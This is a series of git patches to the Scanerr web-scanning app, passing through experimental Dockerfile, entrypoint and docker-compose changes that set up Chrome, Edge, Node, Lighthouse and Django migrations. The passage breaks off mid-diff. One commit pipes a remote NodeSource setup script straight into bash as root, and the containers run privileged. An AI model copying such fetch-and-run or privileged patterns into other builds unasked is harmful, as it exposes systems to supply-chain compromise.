From 87587246acb48e44272c59f52c2ed16e01fe6b6e Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 16 Sep 2024 19:15:39 -0600
Subject: [PATCH 696/752] fixed ENVs

---
 Dockerfile | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 7dccc898..cee44d1e 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -5,15 +5,15 @@ FROM python:3.12-slim
 LABEL Author="Scanerr" Support="hello@scanerr.io"
 
 # setting ENVs and Configs
-ENV HOME =                              /app
-ENV XDG_CACHE_HOME =                    $HOME/.cache
-ENV DOCKERIZED =                        yes
-ENV DEBIAN_FRONTEND =                   noninteractive
-ENV PYTHONUNBUFFERED =                  1
-ENV MOZ_NO_REMOTE =                     1
-ENV MOZ_DISABLE_AUTO_SAFE_MODE =        1
-ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD =  true 
-ENV PHANTOMAS_CHROMIUM_EXECUTABLE =     /usr/bin/google-chrome-stable
+ENV HOME=/app
+ENV XDG_CACHE_HOME=$HOME/.cache
+ENV DOCKERIZED=yes
+ENV DEBIAN_FRONTEND=noninteractive
+ENV PYTHONUNBUFFERED=1
+ENV MOZ_NO_REMOTE=1
+ENV MOZ_DISABLE_AUTO_SAFE_MODE=1
+ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD=true 
+ENV PHANTOMAS_CHROMIUM_EXECUTABLE=/usr/bin/google-chrome-stable
 
 
 # create the app user

From 06413e3dcc9c7184194fe81c8864b8c0a2b6fe41 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 16 Sep 2024 19:41:14 -0600
Subject: [PATCH 697/752] testing

---
 app/api/utils/yellowlab.py  | 2 ++
 setup/scripts/entrypoint.sh | 4 ----
 2 files changed, 2 insertions(+), 4 deletions(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index c464ac4f..858d25fa 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -74,6 +74,8 @@ def yellowlab_cli(self):
         # retrieving data from process
         stdout_value = proc.communicate()[0]
 
+        print(stdout_value)
+
         # converting stdout str into Dict
         stdout_json = json.loads(stdout_value)
         return stdout_json
diff --git a/setup/scripts/entrypoint.sh b/setup/scripts/entrypoint.sh
index d8be025b..d7ede8f9 100755
--- a/setup/scripts/entrypoint.sh
+++ b/setup/scripts/entrypoint.sh
@@ -5,7 +5,6 @@ if [[ $1 == *"app"* ]]
 then 
   if [[ $2 == *"local"* ]]
   then
-    chown -R app:app /app/api/migrations &&
     python3 manage.py wait_for_db && 
     python3 manage.py makemigrations  --no-input &&
     python3 manage.py migrate --no-input &&
@@ -16,7 +15,6 @@ then
   fi
   if [[ $2 == *"remote"* ]]
     then
-      chown -R app:app /app/api/migrations &&
       python3 manage.py wait_for_db && 
       python3 manage.py makemigrations  --no-input &&
       python3 manage.py migrate --no-input &&
@@ -30,7 +28,6 @@ fi
 # spin up celery
 if [[ $1 == *"celery"* ]]
 then
-  chown -R app:app /app/api/migrations &&
   python3 manage.py wait_for_db && 
   echo "pausing for migrations to complete..." && sleep 7s &&
   celery -A scanerr worker -E --loglevel=info -O fair
@@ -39,7 +36,6 @@ fi
 # spin up celery beat
 if [[ $1 == *"beat"* ]]
 then
-  chown -R app:app /app/api/migrations &&
   python3 manage.py wait_for_db &&
   echo "pausing for migrations to complete..." && sleep 7s &&
   celery -A scanerr beat --scheduler django --loglevel=info

From 7310af7be18aa5f9011d2ffe85190b4e2a93c0d8 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 16 Sep 2024 19:42:34 -0600
Subject: [PATCH 698/752] removed white space

---
 Dockerfile | 2 --
 1 file changed, 2 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index cee44d1e..47963e36 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -15,7 +15,6 @@ ENV MOZ_DISABLE_AUTO_SAFE_MODE=1
 ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD=true 
 ENV PHANTOMAS_CHROMIUM_EXECUTABLE=/usr/bin/google-chrome-stable
 
-
 # create the app user
 RUN addgroup --system app && adduser --system app
 
@@ -45,7 +44,6 @@ RUN apt-get update && apt-get install -y \
     apt-transport-https \
     software-properties-common
      
-
 # installing firefox-esr
 RUN apt-get update && apt-get install -y firefox-esr
 

From d57f41fde0b91321042224d22cff7248cafc5dc2 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 16 Sep 2024 19:52:03 -0600
Subject: [PATCH 699/752] testing on new server

---
 Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index 47963e36..df494c83 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -95,7 +95,7 @@ RUN chown -R app:app /tmp
 # cleaning up
 RUN apt-get clean && rm -rf /var/lib/apt/lists/*
 
-# setting user
+# setting final user
 USER app
 
 # staring up services

From 7bce01cc871d99468010e93b7837be931fb80f81 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 16 Sep 2024 20:39:44 -0600
Subject: [PATCH 700/752] testing

---
 Dockerfile                 | 1 +
 app/api/utils/yellowlab.py | 2 --
 2 files changed, 1 insertion(+), 2 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index df494c83..397b2550 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -90,6 +90,7 @@ RUN chown -R app:app /usr/bin/microsoft-edge-stable
 RUN chown -R app:app /usr/local/bin/yellowlabtools
 RUN chown -R app:app /usr/local/bin/lighthouse
 RUN chown -R app:app /app/api/migrations
+RUN chmod -R 755 /app/api/migrations
 RUN chown -R app:app /tmp
 
 # cleaning up
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 858d25fa..c464ac4f 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -74,8 +74,6 @@ def yellowlab_cli(self):
         # retrieving data from process
         stdout_value = proc.communicate()[0]
 
-        print(stdout_value)
-
         # converting stdout str into Dict
         stdout_json = json.loads(stdout_value)
         return stdout_json

From 9f630284499f9e5b2a927cb1799502b80b5bb431 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 16 Sep 2024 21:51:21 -0600
Subject: [PATCH 701/752] testing

---
 Dockerfile                 | 99 ++++++++++----------------------------
 app/api/utils/automater.py |  3 +-
 2 files changed, 27 insertions(+), 75 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 397b2550..002048e0 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -14,94 +14,47 @@ ENV MOZ_NO_REMOTE=1
 ENV MOZ_DISABLE_AUTO_SAFE_MODE=1
 ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD=true 
 ENV PHANTOMAS_CHROMIUM_EXECUTABLE=/usr/bin/google-chrome-stable
+ENV PYTHONPATH="/app:$PYTHONPATH"
 
 # create the app user
 RUN addgroup --system app && adduser --system app
 
-# installing system deps
-RUN apt-get update && apt-get install -y \
-    postgresql \
-    postgresql-client \
-    gcc \
-    make \
-    gfortran \
-    openssl \
-    libpq-dev \
-    curl \
-    libsm6 \
-    libxrender1 \ 
-    libxext6 \
-    libgl1 \
-    nasm \
-    autoconf \
-    libtool \
-    automake \
-    libjpeg-dev \
-    libglib2.0-0 \
-    libfreetype6 \
-    ca-certificates \
-    libfontconfig \
-    apt-transport-https \
-    software-properties-common
-     
-# installing firefox-esr
-RUN apt-get update && apt-get install -y firefox-esr
-
-# installing google-chrome-stable
-RUN curl -LO https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb && \
+# install system dependencies and browsers
+RUN apt-get update && apt-get install -y --no-install-recommends \
+    postgresql postgresql-client gcc make gfortran openssl libpq-dev \
+    curl libsm6 libxrender1 libxext6 libgl1 nasm autoconf libtool \
+    automake libjpeg-dev libglib2.0-0 libfreetype6 ca-certificates \
+    libfontconfig apt-transport-https software-properties-common \
+    firefox-esr && \
+    curl -LO https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb && \
     apt-get install -y ./google-chrome-stable_current_amd64.deb && \
-    rm google-chrome-stable_current_amd64.deb
-
-# installing microsoft-edge-stable
-RUN curl https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > microsoft.gpg && \
+    curl https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > microsoft.gpg && \
     install -o root -g root -m 644 microsoft.gpg /etc/apt/trusted.gpg.d/ && \
-    sh -c 'echo "deb [arch=amd64] https://packages.microsoft.com/repos/edge stable main" > \
-    /etc/apt/sources.list.d/microsoft-edge.list' && \
+    sh -c 'echo "deb [arch=amd64] https://packages.microsoft.com/repos/edge stable main" > /etc/apt/sources.list.d/microsoft-edge.list' && \
     apt-get update && apt-get install -y microsoft-edge-stable && \
-    apt-get clean && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* microsoft.gpg
-
-# installing node and npm
-RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
-    && npm install -g n && n lts && npm cache clean --force
+    apt-get clean && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* microsoft.gpg google-chrome-stable_current_amd64.deb
 
-# installing lighthouse & lighthouse-plugin-crux
-RUN npm install -g lighthouse lighthouse-plugin-crux
+# install node and npm, lighthouse, yellowlabtools
+RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends && \
+    npm install -g n && n lts && npm cache clean --force && \
+    npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools
 
-# installing lodash & yellowlabtools
-RUN npm install -g lodash yellowlabtools
-
-# installing requirements
+# copy requirements and install dependencies as root temporarily
 COPY ./setup/requirements/requirements.txt /requirements.txt
-RUN python3.12 -m pip install -r /requirements.txt
-
-# setting working dir
 COPY ./app /app
 WORKDIR /app
+RUN mkdir -p .mozilla .cache && chown -R app:app /app
 
-# setting extra dirs
-RUN mkdir -p /app/.mozilla \
-    && mkdir -p /app/.cache
-
-# setting ownership
-RUN chown -R app:app /app
-RUN chown -R app:app /usr/bin/firefox
-RUN chown -R app:app /usr/bin/google-chrome-stable
-RUN chown -R app:app /usr/bin/microsoft-edge-stable
-RUN chown -R app:app /usr/local/bin/yellowlabtools
-RUN chown -R app:app /usr/local/bin/lighthouse
-RUN chown -R app:app /app/api/migrations
-RUN chmod -R 755 /app/api/migrations
-RUN chown -R app:app /tmp
+# Install Python dependencies as root (optional debug step)
+USER root
+RUN python3.12 -m pip install --no-cache-dir -r /requirements.txt
 
-# cleaning up
-RUN apt-get clean && rm -rf /var/lib/apt/lists/*
-
-# setting final user
+# Switch back to non-root user
 USER app
 
-# staring up services
+# Verify installation
+RUN python3.12 -m pip freeze
+
+# set entrypoint and start services
 COPY ./setup/scripts/entrypoint.sh "/entrypoint.sh"
 ENTRYPOINT [ "/entrypoint.sh" ]
-
-
-
diff --git a/app/api/utils/automater.py b/app/api/utils/automater.py
index c10c8a2e..6779dd46 100644
--- a/app/api/utils/automater.py
+++ b/app/api/utils/automater.py
@@ -129,10 +129,9 @@ def build_exp_list(self) -> None:
                 exp = f'{joiner}any(i{operator}{value} for i in {data_type})'
             elif 'test_status' in expression['data_type']:
                 data_type = 'self.object.status' 
-
             # high-level scan data
             elif 'health' in expression['data_type']:
-                data_type = '((float(self.object.lighthouse["scores"].get("average"]) + float(self.object.yellowlab["scores"].get("globalScore"]))/2)'
+                data_type = '((float(self.object.lighthouse["scores"].get("average",0)) + float(self.object.yellowlab["scores"].get("globalScore",0)))/2)'
             elif 'logs' in expression['data_type']:
                 data_type = 'len(self.object.logs)'
             

From fbbdc2ac9937a5fe403c747727b5a6e378beecf0 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 17 Sep 2024 09:32:21 -0600
Subject: [PATCH 702/752] testing

---
 Dockerfile                  | 98 +++++++++++++++++++++++++++----------
 setup/scripts/entrypoint.sh |  2 -
 2 files changed, 72 insertions(+), 28 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 002048e0..a9240f3f 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -14,47 +14,93 @@ ENV MOZ_NO_REMOTE=1
 ENV MOZ_DISABLE_AUTO_SAFE_MODE=1
 ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD=true 
 ENV PHANTOMAS_CHROMIUM_EXECUTABLE=/usr/bin/google-chrome-stable
-ENV PYTHONPATH="/app:$PYTHONPATH"
+ENV PYTHONPATH="$HOME:$PYTHONPATH"
 
 # create the app user
 RUN addgroup --system app && adduser --system app
 
-# install system dependencies and browsers
+# installing system deps
 RUN apt-get update && apt-get install -y --no-install-recommends \
-    postgresql postgresql-client gcc make gfortran openssl libpq-dev \
-    curl libsm6 libxrender1 libxext6 libgl1 nasm autoconf libtool \
-    automake libjpeg-dev libglib2.0-0 libfreetype6 ca-certificates \
-    libfontconfig apt-transport-https software-properties-common \
-    firefox-esr && \
-    curl -LO https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb && \
+    postgresql \
+    postgresql-client \
+    gcc \
+    make \
+    gfortran \
+    openssl \
+    libpq-dev \
+    curl \
+    libsm6 \
+    libxrender1 \ 
+    libxext6 \
+    libgl1 \
+    nasm \
+    autoconf \
+    libtool \
+    automake \
+    libjpeg-dev \
+    libglib2.0-0 \
+    libfreetype6 \
+    ca-certificates \
+    libfontconfig \
+    apt-transport-https \
+    software-properties-common
+     
+# installing firefox-esr
+RUN apt-get update && apt-get install -y --no-install-recommends firefox-esr
+
+# installing google-chrome-stable
+RUN curl -LO https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb && \
     apt-get install -y ./google-chrome-stable_current_amd64.deb && \
-    curl https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > microsoft.gpg && \
+    rm google-chrome-stable_current_amd64.deb
+
+# installing microsoft-edge-stable
+RUN curl https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > microsoft.gpg && \
     install -o root -g root -m 644 microsoft.gpg /etc/apt/trusted.gpg.d/ && \
-    sh -c 'echo "deb [arch=amd64] https://packages.microsoft.com/repos/edge stable main" > /etc/apt/sources.list.d/microsoft-edge.list' && \
-    apt-get update && apt-get install -y microsoft-edge-stable && \
-    apt-get clean && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* microsoft.gpg google-chrome-stable_current_amd64.deb
+    sh -c 'echo "deb [arch=amd64] https://packages.microsoft.com/repos/edge stable main" > \
+    /etc/apt/sources.list.d/microsoft-edge.list' && \
+    apt-get update && apt-get install -y microsoft-edge-stable
+
+# installing node and npm
+RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
+    && npm install -g n && n lts && npm cache clean --force
 
-# install node and npm, lighthouse, yellowlabtools
-RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends && \
-    npm install -g n && n lts && npm cache clean --force && \
-    npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools
+# installing lighthouse & lighthouse-plugin-crux
+RUN npm install -g lighthouse lighthouse-plugin-crux
 
-# copy requirements and install dependencies as root temporarily
+# installing lodash & yellowlabtools
+RUN npm install -g lodash yellowlabtools
+
+# copying & installing requirements
 COPY ./setup/requirements/requirements.txt /requirements.txt
+RUN python3.12 -m pip install -r /requirements.txt
+
+# setting working dir
 COPY ./app /app
 WORKDIR /app
-RUN mkdir -p .mozilla .cache && chown -R app:app /app
 
-# Install Python dependencies as root (optional debug step)
-USER root
-RUN python3.12 -m pip install --no-cache-dir -r /requirements.txt
+# setting extra dirs
+RUN mkdir -p .mozilla .cache
 
-# Switch back to non-root user
-USER app
+# setting ownership
+RUN chown -R app:app /app
+RUN chown -R app:app /tmp
 
-# Verify installation
-RUN python3.12 -m pip freeze
+# make migration files
+RUN python3.12 manage.py makemigrations --no-input 
 
-# set entrypoint and start services
+# cleaning up
+RUN apt-get clean && rm -rf \
+    /var/lib/apt/lists/* \
+    /tmp/* \
+    /var/tmp/* \
+    microsoft.gpg
+
+# setting final user
+USER app
+
+# staring up services
 COPY ./setup/scripts/entrypoint.sh "/entrypoint.sh"
 ENTRYPOINT [ "/entrypoint.sh" ]
+
+
+
diff --git a/setup/scripts/entrypoint.sh b/setup/scripts/entrypoint.sh
index d7ede8f9..e4fabb53 100755
--- a/setup/scripts/entrypoint.sh
+++ b/setup/scripts/entrypoint.sh
@@ -6,7 +6,6 @@ then
   if [[ $2 == *"local"* ]]
   then
     python3 manage.py wait_for_db && 
-    python3 manage.py makemigrations  --no-input &&
     python3 manage.py migrate --no-input &&
     python3 manage.py collectstatic --no-input &&
     python3 manage.py create_admin &&
@@ -16,7 +15,6 @@ then
   if [[ $2 == *"remote"* ]]
     then
       python3 manage.py wait_for_db && 
-      python3 manage.py makemigrations  --no-input &&
       python3 manage.py migrate --no-input &&
       python3 manage.py collectstatic --no-input &&
       python3 manage.py create_admin &&

From 499a90a99f5c133441c1fb10344fce6e586f48d7 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 17 Sep 2024 09:50:23 -0600
Subject: [PATCH 703/752] different node install method

---
 Dockerfile                  | 16 +++++++++++++---
 setup/scripts/entrypoint.sh |  2 --
 2 files changed, 13 insertions(+), 5 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index a9240f3f..9c1c9da5 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -61,8 +61,11 @@ RUN curl https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > mic
     apt-get update && apt-get install -y microsoft-edge-stable
 
 # installing node and npm
-RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
-    && npm install -g n && n lts && npm cache clean --force
+RUN curl -fsSL https://deb.nodesource.com/setup_current.x | bash - && \
+    apt-get install -y nodejs \
+    build-essential && \
+    node --version && \ 
+    npm --version
 
 # installing lighthouse & lighthouse-plugin-crux
 RUN npm install -g lighthouse lighthouse-plugin-crux
@@ -88,12 +91,19 @@ RUN chown -R app:app /tmp
 # make migration files
 RUN python3.12 manage.py makemigrations --no-input 
 
+# collect static files 
+RUN python3.12 manage.py collectstatic --no-input
+
+# increase RAM usage for node
+RUN export NODE_OPTIONS="--max-old-space-size=4080"
+
 # cleaning up
 RUN apt-get clean && rm -rf \
     /var/lib/apt/lists/* \
     /tmp/* \
     /var/tmp/* \
-    microsoft.gpg
+    microsoft.gpg && \
+    autoremove
 
 # setting final user
 USER app
diff --git a/setup/scripts/entrypoint.sh b/setup/scripts/entrypoint.sh
index e4fabb53..daa95be9 100755
--- a/setup/scripts/entrypoint.sh
+++ b/setup/scripts/entrypoint.sh
@@ -7,7 +7,6 @@ then
   then
     python3 manage.py wait_for_db && 
     python3 manage.py migrate --no-input &&
-    python3 manage.py collectstatic --no-input &&
     python3 manage.py create_admin &&
     python3 manage.py driver_test &&
     python3 manage.py runserver 0.0.0.0:8000
@@ -16,7 +15,6 @@ then
     then
       python3 manage.py wait_for_db && 
       python3 manage.py migrate --no-input &&
-      python3 manage.py collectstatic --no-input &&
       python3 manage.py create_admin &&
       python3 manage.py driver_test &&
       gunicorn --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000

From 243f99e14e48f34da7cb66f981dbb393ba9fbf7a Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 17 Sep 2024 10:56:04 -0600
Subject: [PATCH 704/752] testing

---
 Dockerfile                  | 23 ++++++++---------------
 setup/scripts/entrypoint.sh |  5 +++++
 2 files changed, 13 insertions(+), 15 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 9c1c9da5..9680f9e0 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -15,6 +15,7 @@ ENV MOZ_DISABLE_AUTO_SAFE_MODE=1
 ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD=true 
 ENV PHANTOMAS_CHROMIUM_EXECUTABLE=/usr/bin/google-chrome-stable
 ENV PYTHONPATH="$HOME:$PYTHONPATH"
+ENV NODE_OPTIONS="--max-old-space-size=4080"
 
 # create the app user
 RUN addgroup --system app && adduser --system app
@@ -62,10 +63,9 @@ RUN curl https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > mic
 
 # installing node and npm
 RUN curl -fsSL https://deb.nodesource.com/setup_current.x | bash - && \
-    apt-get install -y nodejs \
-    build-essential && \
-    node --version && \ 
-    npm --version
+    apt-get install -y --no-install-recommends nodejs && \
+    npm install -g --no-cache n && \
+    n lts
 
 # installing lighthouse & lighthouse-plugin-crux
 RUN npm install -g lighthouse lighthouse-plugin-crux
@@ -77,6 +77,9 @@ RUN npm install -g lodash yellowlabtools
 COPY ./setup/requirements/requirements.txt /requirements.txt
 RUN python3.12 -m pip install -r /requirements.txt
 
+# setting user ownership for migrations
+RUN chown -R app:app ./app
+
 # setting working dir
 COPY ./app /app
 WORKDIR /app
@@ -88,22 +91,12 @@ RUN mkdir -p .mozilla .cache
 RUN chown -R app:app /app
 RUN chown -R app:app /tmp
 
-# make migration files
-RUN python3.12 manage.py makemigrations --no-input 
-
-# collect static files 
-RUN python3.12 manage.py collectstatic --no-input
-
-# increase RAM usage for node
-RUN export NODE_OPTIONS="--max-old-space-size=4080"
-
 # cleaning up
 RUN apt-get clean && rm -rf \
     /var/lib/apt/lists/* \
     /tmp/* \
     /var/tmp/* \
-    microsoft.gpg && \
-    autoremove
+    microsoft.gpg
 
 # setting final user
 USER app
diff --git a/setup/scripts/entrypoint.sh b/setup/scripts/entrypoint.sh
index daa95be9..7f8c13eb 100755
--- a/setup/scripts/entrypoint.sh
+++ b/setup/scripts/entrypoint.sh
@@ -6,7 +6,9 @@ then
   if [[ $2 == *"local"* ]]
   then
     python3 manage.py wait_for_db && 
+    python3 manage.py makemigrations --no-input &&
     python3 manage.py migrate --no-input &&
+    python3 manage.py collectstatic --no-input &&
     python3 manage.py create_admin &&
     python3 manage.py driver_test &&
     python3 manage.py runserver 0.0.0.0:8000
@@ -14,7 +16,9 @@ then
   if [[ $2 == *"remote"* ]]
     then
       python3 manage.py wait_for_db && 
+      python3 manage.py makemigrations --no-input &&
       python3 manage.py migrate --no-input &&
+      python3 manage.py collectstatic --no-input &&
       python3 manage.py create_admin &&
       python3 manage.py driver_test &&
       gunicorn --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000
@@ -24,6 +28,7 @@ fi
 # spin up celery
 if [[ $1 == *"celery"* ]]
 then
+  node -e 'console.log(`Node RAM space: ${v8.getHeapStatistics().heap_size_limit/(1024*1024)}`)' &&
   python3 manage.py wait_for_db && 
   echo "pausing for migrations to complete..." && sleep 7s &&
   celery -A scanerr worker -E --loglevel=info -O fair

From 0becc5a8220a2ebca010776d5c9395a3e3ed37e4 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 17 Sep 2024 11:34:00 -0600
Subject: [PATCH 705/752] testing

---
 Dockerfile                  | 4 ++--
 notes/Deployment.md         | 2 +-
 setup/scripts/entrypoint.sh | 1 -
 3 files changed, 3 insertions(+), 4 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 9680f9e0..3fdb51aa 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -78,7 +78,7 @@ COPY ./setup/requirements/requirements.txt /requirements.txt
 RUN python3.12 -m pip install -r /requirements.txt
 
 # setting user ownership for migrations
-RUN chown -R app:app ./app
+# RUN chown -R app:app ./app
 
 # setting working dir
 COPY ./app /app
@@ -89,7 +89,7 @@ RUN mkdir -p .mozilla .cache
 
 # setting ownership
 RUN chown -R app:app /app
-RUN chown -R app:app /tmp
+# RUN chown -R app:app /tmp
 
 # cleaning up
 RUN apt-get clean && rm -rf \
diff --git a/notes/Deployment.md b/notes/Deployment.md
index 5de5cc87..a6c08178 100644
--- a/notes/Deployment.md
+++ b/notes/Deployment.md
@@ -149,7 +149,7 @@ docker run -d --privileged --restart unless-stopped -p 8383:8383 scanerr/ylt &&
 ### Get & Set Node Memory:
 Get Current Memory
 ```shell
-node -e 'console.log(v8.getHeapStatistics().heap_size_limit/(1024*1024))'
+node -e 'console.log(`Node RAM space: ${v8.getHeapStatistics().heap_size_limit/(1024*1024)}`)'
 ```
 Set New Memory
 ```shell
diff --git a/setup/scripts/entrypoint.sh b/setup/scripts/entrypoint.sh
index 7f8c13eb..4f40b281 100755
--- a/setup/scripts/entrypoint.sh
+++ b/setup/scripts/entrypoint.sh
@@ -28,7 +28,6 @@ fi
 # spin up celery
 if [[ $1 == *"celery"* ]]
 then
-  node -e 'console.log(`Node RAM space: ${v8.getHeapStatistics().heap_size_limit/(1024*1024)}`)' &&
   python3 manage.py wait_for_db && 
   echo "pausing for migrations to complete..." && sleep 7s &&
   celery -A scanerr worker -E --loglevel=info -O fair

From d54147cafd1cf9c90fccecc86a74037f91bffd12 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 17 Sep 2024 11:59:22 -0600
Subject: [PATCH 706/752] testing new scripts and

---
 Dockerfile                     | 6 ++----
 app/api/migrations/__init__.py | 0
 docker-compose.dev.yml         | 8 ++++----
 setup/scripts/entrypoint.sh    | 6 ++++++
 4 files changed, 12 insertions(+), 8 deletions(-)
 mode change 100644 => 100755 app/api/migrations/__init__.py

diff --git a/Dockerfile b/Dockerfile
index 3fdb51aa..e695380a 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -77,9 +77,6 @@ RUN npm install -g lodash yellowlabtools
 COPY ./setup/requirements/requirements.txt /requirements.txt
 RUN python3.12 -m pip install -r /requirements.txt
 
-# setting user ownership for migrations
-# RUN chown -R app:app ./app
-
 # setting working dir
 COPY ./app /app
 WORKDIR /app
@@ -89,7 +86,8 @@ RUN mkdir -p .mozilla .cache
 
 # setting ownership
 RUN chown -R app:app /app
-# RUN chown -R app:app /tmp
+RUN chown -R app:app /app/api/migrations*
+RUN chmod -R 755 /app/api/migrations*
 
 # cleaning up
 RUN apt-get clean && rm -rf \
diff --git a/app/api/migrations/__init__.py b/app/api/migrations/__init__.py
old mode 100644
new mode 100755
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 79fe150a..a35ab920 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -17,8 +17,8 @@ services:
     env_file:
       - ./env/.env.dev
     volumes:
-      - ./app:/app
-      - static_volume:/app/static
+      - ./app:/app:rw
+      - static_volume:/app/static:rw
     depends_on:
       - db
 
@@ -56,7 +56,7 @@ services:
     env_file:
       - ./env/.env.dev
     volumes:
-      - ./app:/scanerr
+      - ./app:/scanerr:rw
     depends_on:
       - redis
       - app
@@ -74,7 +74,7 @@ services:
       dockerfile: Dockerfile
     entrypoint: ["/entrypoint.sh", "beat"]
     volumes:
-      - ./app:/scanerr
+      - ./app:/scanerr:rw
     env_file:
       - ./env/.env.dev
     depends_on:
diff --git a/setup/scripts/entrypoint.sh b/setup/scripts/entrypoint.sh
index 4f40b281..29753669 100755
--- a/setup/scripts/entrypoint.sh
+++ b/setup/scripts/entrypoint.sh
@@ -5,6 +5,9 @@ if [[ $1 == *"app"* ]]
 then 
   if [[ $2 == *"local"* ]]
   then
+    chown -R app:app /app/api/migrations/ && 
+    chmod -R 755 /app/api/migrations/ &&
+    ls -la /app/api/migrations/ &&
     python3 manage.py wait_for_db && 
     python3 manage.py makemigrations --no-input &&
     python3 manage.py migrate --no-input &&
@@ -15,6 +18,9 @@ then
   fi
   if [[ $2 == *"remote"* ]]
     then
+      chown -R app:app /app/api/migrations/ && 
+      chmod -R 755 /app/api/migrations/ &&
+      ls -la /app/api/migrations/ &&
       python3 manage.py wait_for_db && 
       python3 manage.py makemigrations --no-input &&
       python3 manage.py migrate --no-input &&

From 8464db7682dd98e1f1712709a7ced1efc8bd38bb Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 17 Sep 2024 12:05:17 -0600
Subject: [PATCH 707/752] testing

---
 docker-compose.dev.yml      | 2 +-
 docker-compose.local.yml    | 2 +-
 setup/scripts/entrypoint.sh | 5 -----
 3 files changed, 2 insertions(+), 7 deletions(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index a35ab920..eeabc2e8 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -4,9 +4,9 @@ services:
   app:
     container_name: scanerr-app
     hostname: scanerr-app
-    restart: always
     platform: linux/amd64
     privileged: true
+    restart: always
     init: true
     build:
       context: .
diff --git a/docker-compose.local.yml b/docker-compose.local.yml
index 60d0d0e2..1b7a3d83 100644
--- a/docker-compose.local.yml
+++ b/docker-compose.local.yml
@@ -6,8 +6,8 @@ services:
     hostname: scanerr-app
     platform: linux/amd64
     privileged: true
-    init: true
     restart: always
+    init: true
     build:
       context: .
       dockerfile: Dockerfile
diff --git a/setup/scripts/entrypoint.sh b/setup/scripts/entrypoint.sh
index 29753669..74f5fdd8 100755
--- a/setup/scripts/entrypoint.sh
+++ b/setup/scripts/entrypoint.sh
@@ -5,9 +5,6 @@ if [[ $1 == *"app"* ]]
 then 
   if [[ $2 == *"local"* ]]
   then
-    chown -R app:app /app/api/migrations/ && 
-    chmod -R 755 /app/api/migrations/ &&
-    ls -la /app/api/migrations/ &&
     python3 manage.py wait_for_db && 
     python3 manage.py makemigrations --no-input &&
     python3 manage.py migrate --no-input &&
@@ -18,8 +15,6 @@ then
   fi
   if [[ $2 == *"remote"* ]]
     then
-      chown -R app:app /app/api/migrations/ && 
-      chmod -R 755 /app/api/migrations/ &&
       ls -la /app/api/migrations/ &&
